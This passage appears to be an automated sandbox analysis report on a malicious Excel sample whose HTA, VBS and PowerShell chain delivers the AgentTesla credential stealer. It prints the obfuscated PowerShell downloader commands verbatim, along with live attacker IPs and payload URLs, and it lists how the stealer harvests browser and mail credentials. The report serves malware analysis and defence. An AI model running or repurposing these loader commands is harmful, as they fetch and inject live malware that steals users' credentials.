agicagicagu3puvsagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagjhlsc0ozthu3nzo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5oc40ni4xnzgumtq0l2v2zw5pbmdmawxlzgf0aw5nbg92zxiudmjziiwijevodjpbufbeqvrbxgv2zw5pbmdmawxlzgf0aw5nbg92zxiudkjtiiwwldapo3n0qxjulxnmzuvqkdmpo3n0yvj0icagicagicagicagicagicagicagicagicagicaijevudjpbufbeqvrbxgv2zw5pbmdmawxlzgf0aw5nbg92zxiudkjtig=='+[char]34+'))')))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "(('y0ulink = xr'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xrm; y0uwebc'+'lient = new-object system.net.webclient; try { y0udownlo'+'adeddata '+'= y0uwebclient.downloadd'+'ata(y0ulink) } catch { write-'+'host xrmfailed to download data from y0ulinkxrm -foregroundc'+'olor red; exit }; if (y0udownloadeddata -ne y0unull) { y0uima'+'getext = [system.t'+'ext'+'.encoding'+']::utf8.'+'getstring(y0udownloadeddata); y0ustartflag = xrm<<b'+'ase64_start>>xrm; y0uendflag = xrm<<base64_en'+'d>>xrm; y0ustartindex = y0uimagetext.indexof(y0ustartflag); y0uendin'+'dex = y0uimagetext.indexof(y0uendflag); if (y0ustartindex -ge '+'0'+' -and y0uendind'+'ex -gt y0'+'ustartinde'+'x) { y0ustartindex += y0ustartflag.length; y0ubase64lengt'+'h = y0uendindex - y0ustartindex; y0ubase'+'64command = y0uimagetext.su'+'bstring(y0ustartindex, y0ubase64length); y0ucommandbytes = [system.convert]::frombase64string(y0ubase64command); y0uloadedassembly = [system.reflec'+'tion.assem'+'bly]::l'+'oad(y0ucommandbytes); y0utype = y0uloadedassembly.gettype(xrm'+'runpe.hom'+'exrm); y0umethod = y0utype'+'.getmethod(xrmv'+'aix'+'rm).invoke(y0unull, [object[]] (xrmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxrm , xrmdesativadoxrm , xrmdesativadoxrm , xrm'+'desativadox'+'rm,xrmaddinprocess32xrm,xrmxrm)) } }') -replace 'xrm',[char]39 -replace ([char]89+[char]48+[char]117),[char]36)|iex"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]0x22+'jhlsc0ozthu3nyagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagqurelxrzugugicagicagicagicagicagicagicagicagicagic1nrw1crxjkrwzptml0sw9oicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivxjstu9olkrsbcisicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicbwaw1gq1nhwcxzdhjpbmcgicagicagicagicagicagicagicagicagicagieysc3ryaw5nicagicagicagicagicagicagicagicagicagicbjsfhovetzcnbilhvpbnqgicagicagicagicagicagicagicagicagicagifllusxjbnrqdhigicagicagicagicagicagicagicagicagicagiedgktsnicagicagicagicagicagicagicagicagicagicattkftzsagicagicagicagicagicagicagicagicagicaginztcelnclj2sxpviiagicagicagicagicagicagicagicagicagicaglw5hbuvtcefdzsagicagicagicagicagicagicagicagicagicagu3puvsagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagjhlsc0ozthu3nzo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5oc40ni4xnzgumtq0l2v2zw5pbmdmawxlzgf0aw5nbg92zxiudmjziiwijevodjpbufbeqvrbxgv2zw5pbmdmawxlzgf0aw5nbg92zxiudkjtiiwwldapo3n0qxjulxnmzuvqkdmpo3n0yvj0icagicagicagicagicagicagicagicagicagicaijevudjpbufbeqvrbxgv2zw5pbmdmawxlzgf0aw5nbg92zxiudkjtig=='+[char]34+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]0x22+'jhlsc0ozthu3nyagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagqurelxrzugugicagicagicagicagicagicagicagicagicagic1nrw1crxjkrwzptml0sw9oicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivxjstu9olkrsbcisicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicbwaw1gq1nhwcxzdhjpbmcgicagicagicagicagicagicagicagicagicagieysc3ryaw5nicagicagicagicagicagicagicagicagicagicbjsfhovetzcnbilhvpbnqgicagicagicagicagicagicagicagicagicagifllusxjbnrqdhigicagicagicagicagicagicagicagicagicagiedgktsnicagicagicagicagicagicagicagicagicagicattkftzsagicagicagicagicagicagicagicagicagicaginztcelnclj2sxpviiagicagicagicagicagicagicagicagicagicaglw5hbuvtcefdzsagicagicagicagicagicagicagicagicagicagu3puvsagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagjhlsc0ozthu3nzo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5oc40ni4xnzgumtq0l2v2zw5pbmdmawxlzgf0aw5nbg92zxiudmjziiwijevodjpbufbeqvrbxgv2zw5pbmdmawxlzgf0aw5nbg92zxiudkjtiiwwldapo3n0qxjulxnmzuvqkdmpo3n0yvj0icagicagicagicagicagicagicagicagicagicaijevudjpbufbeqvrbxgv2zw5pbmdmawxlzgf0aw5nbg92zxiudkjtig=='+[char]34+'))')))" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "(('y0ulink = xr'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xrm; y0uwebc'+'lient = new-object system.net.webclient; try { y0udownlo'+'adeddata '+'= y0uwebclient.downloadd'+'ata(y0ulink) } catch { write-'+'host xrmfailed to download data from y0ulinkxrm -foregroundc'+'olor red; exit }; if (y0udownloadeddata -ne y0unull) { y0uima'+'getext = [system.t'+'ext'+'.encoding'+']::utf8.'+'getstring(y0udownloadeddata); y0ustartflag = xrm<<b'+'ase64_start>>xrm; y0uendflag = xrm<<base64_en'+'d>>xrm; y0ustartindex = y0uimagetext.indexof(y0ustartflag); y0uendin'+'dex = y0uimagetext.indexof(y0uendflag); if (y0ustartindex -ge '+'0'+' -and y0uendind'+'ex -gt y0'+'ustartinde'+'x) { y0ustartindex += y0ustartflag.length; y0ubase64lengt'+'h = y0uendindex - y0ustartindex; y0ubase'+'64command = y0uimagetext.su'+'bstring(y0ustartindex, y0ubase64length); y0ucommandbytes = [system.convert]::frombase64string(y0ubase64command); y0uloadedassembly = [system.reflec'+'tion.assem'+'bly]::l'+'oad(y0ucommandbytes); y0utype = y0uloadedassembly.gettype(xrm'+'runpe.hom'+'exrm); y0umethod = y0utype'+'.getmethod(xrmv'+'aix'+'rm).invoke(y0unull, [object[]] (xrmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxrm , xrmdesativadoxrm , xrmdesativadoxrm , xrm'+'desativadox'+'rm,xrmaddinprocess32xrm,xrmxrm)) } }') -replace 'xrm',[char]39 -replace ([char]89+[char]48+[char]117),[char]36)|iex" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected AgentTesla
Source: Yara match File source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.powershell.exe.12778558.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.powershell.exe.12778558.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.510894342.000000001241D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3324, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 3440, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.powershell.exe.12778558.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.powershell.exe.12778558.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.619170569.0000000002465000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.510894342.000000001241D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3324, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 3440, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected AgentTesla
Source: Yara match File source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.powershell.exe.12778558.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.powershell.exe.12778558.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.510894342.000000001241D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3324, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 3440, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1467088 Sample: Cuentas bancarias y cdigo #... Startdate: 03/07/2024 Architecture: WINDOWS Score: 100 70 Snort IDS alert for network traffic 2->70 72 Found malware configuration 2->72 74 Malicious sample detected (through community Yara rule) 2->74 76 23 other signatures 2->76 11 EXCEL.EXE 29 33 2->11         started        process3 dnsIp4 60 198.46.178.144, 49166, 49168, 49169 AS-COLOCROSSINGUS United States 11->60 62 hop.fyi 192.185.89.92, 49165, 49167, 80 UNIFIEDLAYER-AS-1US United States 11->62 48 ~$Cuentas bancaria...incorrecto.xla.xlsx, data 11->48 dropped 50 C:\Users\user\AppData\...vengIEcache[1].hta, HTML 11->50 dropped 108 Microsoft Office drops suspicious files 11->108 16 mshta.exe 10 11->16         started        file5 signatures6 process7 dnsIp8 54 hop.fyi 16->54 66 Suspicious command line found 16->66 68 PowerShell case anomaly found 16->68 20 cmd.exe 16->20         started        signatures9 process10 signatures11 84 Suspicious powershell command line found 20->84 86 Wscript starts Powershell (via cmd or directly) 20->86 88 PowerShell case anomaly found 20->88 23 powershell.exe 24 20->23         started        process12 file13 44 C:\Users\user\...\eveningfiledatinglover.vBS, Unicode 23->44 dropped 46 C:\Users\user\AppData\...\cboglgly.cmdline, Unicode 23->46 dropped 90 Installs new ROOT certificates 23->90 27 wscript.exe 1 23->27         started        31 csc.exe 2 23->31         started        signatures14 process15 dnsIp16 64 94.156.65.247, 49170, 80 TERASYST-ASBG Bulgaria 27->64 100 System process connects to network (likely due to code injection or exploit) 27->100 102 Suspicious powershell command line found 27->102 104 Wscript starts Powershell (via cmd or directly) 27->104 106 3 other signatures 27->106 34 powershell.exe 12 4 27->34         started        52 C:\Users\user\AppData\Local\...\cboglgly.dll, PE32 31->52 dropped 38 cvtres.exe 31->38         started        file17 signatures18 process19 dnsIp20 56 91.92.254.194, 49171, 80 THEZONEBG Bulgaria 34->56 78 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 34->78 80 Writes to foreign memory regions 34->80 82 Injects a PE file into a foreign processes 34->82 40 AddInProcess32.exe 12 2 34->40         started        signatures21 process22 dnsIp23 58 ip-api.com 208.95.112.1, 49173, 80 TUT-ASUS United States 40->58 92 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 40->92 94 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 40->94 96 Tries to steal Mail credentials (via file / registry access) 40->96 98 2 other signatures 40->98 signatures24
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
192.185.89.92
 hop.fyi United States
46606 UNIFIEDLAYER-AS-1US false
208.95.112.1
 ip-api.com United States
53334 TUT-ASUS true
198.46.178.144
 unknown United States
36352 AS-COLOCROSSINGUS true
94.156.65.247
 unknown Bulgaria
31420 TERASYST-ASBG true
91.92.254.194
 unknown Bulgaria
34368 THEZONEBG true

Contacted Domains

Name IP Active
hop.fyi 192.185.89.92 true
ip-api.com 208.95.112.1 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://91.92.254.194/imge/new-image_v.jpg true
  • Avira URL Cloud: safe
 unknown
http://198.46.178.144/madamwebbbbbbbas6444.txt true
  • Avira URL Cloud: safe
 unknown
http://hop.fyi/ppltL false
  • Avira URL Cloud: safe
 unknown
http://198.46.178.144/eveningfiledatinglover.vbs true
  • Avira URL Cloud: safe
 unknown
http://198.46.178.144/EvengIEcache.hta true
  • Avira URL Cloud: safe
 unknown
http://ip-api.com/line/?fields=hosting false
  • URL Reputation: safe
 unknown